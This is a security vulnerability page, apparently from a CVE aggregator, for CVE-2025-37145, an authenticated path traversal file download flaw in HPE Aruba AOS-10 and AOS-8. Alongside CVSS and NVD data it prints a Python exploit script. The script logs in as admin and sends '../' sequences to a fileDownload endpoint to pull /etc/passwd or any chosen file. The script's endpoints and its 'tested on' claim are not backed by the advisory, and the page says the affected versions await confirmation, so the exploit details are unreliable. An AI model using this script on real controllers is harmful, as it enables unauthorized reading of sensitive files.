Security Vulnerability Report
中文
CVE-2025-37145 CVSS 4.9 MEDIUM

CVE-2025-37145

Published: 2025-10-14 17:15:41
Last Modified: 2025-11-12 17:37:54

Description

Arbitrary file download vulnerabilities exist in a low-level interface library in AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
HPE Aruba Networking AOS-10 GW(具体版本待官方公告确认)
HPE Aruba Networking AOS-8 Controller/Mobility Conductor(具体版本待官方公告确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37145 PoC - HPE Aruba AOS-10/AOS-8 Arbitrary File Download # Note: Requires valid high-privilege credentials (e.g., administrator account) # Tested on AOS-10 GW and AOS-8 Controller/Mobility Conductor import requests import sys TARGET = "https://target-aruba-controller.example.com" USERNAME = "admin" PASSWORD = "password123" def exploit(target, file_path): """ Exploit arbitrary file download via path traversal in low-level interface library. The vulnerability exists in the file download endpoint which fails to sanitize user-supplied file paths, allowing traversal outside the intended directory. """ session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = f"{target}/screens/wms/wms.login" login_data = { "username": USERNAME, "password": PASSWORD, } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return None print("[*] Authenticated successfully") # Step 2: Exploit path traversal in file download endpoint # The vulnerable parameter fails to sanitize '../' sequences download_url = f"{target}/screens/cmnutil/fileDownload" params = { "file": f"../../../..{file_path}", # path traversal payload } resp = session.get(download_url, params=params, verify=False) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] File downloaded successfully: {file_path}") return resp.content else: print(f"[-] Failed to download: {file_path}") return None if __name__ == "__main__": target_file = sys.argv[1] if len(sys.argv) > 1 else "/etc/passwd" content = exploit(TARGET, target_file) if content: print(content.decode("utf-8", errors="replace"))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37145", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:41.490", "lastModified": "2025-11-12T17:37:53.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arbitrary file download vulnerabilities exist in a low-level interface library in AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.10.0.0", "versionEndExcluding": "8.10.0.19", "matchCriteriaId": "3D5F48C7-AD51-4641-9CBA-9DE9B516819E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.12.0.0", "versionEndExcluding": "8.12.0.6", "matchCriteriaId": "057AA8F5-FF66-44E9-8E06-D2B9E8B91AD2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.13.0.0", "versionEndExcluding": "8.13.1.0", "matchCriteriaId": "D4B066B5-D01B-43AE-B4DC-AF560D6B953C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.4.0.0", "versionEndExcluding": "10.4.1.9", "matchCriteriaId": "04F61E46-8412-4B8D-BE7B-EBF61BE52C54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.7.0.0", "versionEndExcluding": "10.7.2.1", "matchCriteriaId": "BEF8618F-C126-4F8F-951F-6D62FE8FAB22"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}